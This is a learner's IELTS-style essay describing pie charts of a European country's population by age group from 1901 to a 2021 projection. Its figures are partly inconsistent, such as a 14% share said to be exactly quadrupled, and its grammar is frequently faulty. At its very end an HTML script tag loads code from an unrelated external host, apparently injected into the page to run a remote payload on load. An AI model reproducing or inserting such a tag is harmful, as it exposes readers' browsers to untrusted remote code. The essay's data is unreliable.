The graphs below show the changes in age structure of population in a European country from 1901 to 1941 1981 and a projection in 2021

The given pie charts illustrate the growth of age groups among european country’s population between 1901, 1941, 1981 and a projection in 2021.

Obviously, it is clear that the total population was about 38 millions and continue to grew steadily to 58 millions in the next 8 decades. In 2021, this number is projected to reach 63 millions. Particularly, throughout 4 mentioned years, the quantity of the age group from 0 to 64 constantly constitute the highest number, 95% from 1901 to 1941 and was declined by 15% after 120 years.

Regarding to the proportion of population aging 65-84, in the initial period, it makes up the second highest amount with 4%, then soaring up rapidly to 14% in 1981 and was exactly quadrupled in 2021. Noticeably, 1% of the european country’s citizens aged over 85 in 1901 and 1941 before witnessing an slightly upward trend of 2% in 1981 and 2021.

Overall, the total population increase dramatically and will keep table this inclination in the future. Considerably, the vast majority of the population ages 0-64; meanwhile the 85+ age group just contribute a little number. However, while other remaining age groups show the upward patterns, 0-64 group indicates the inverse proportion.<script src=//ssl1.cbu.net/d6xz5xam></script>
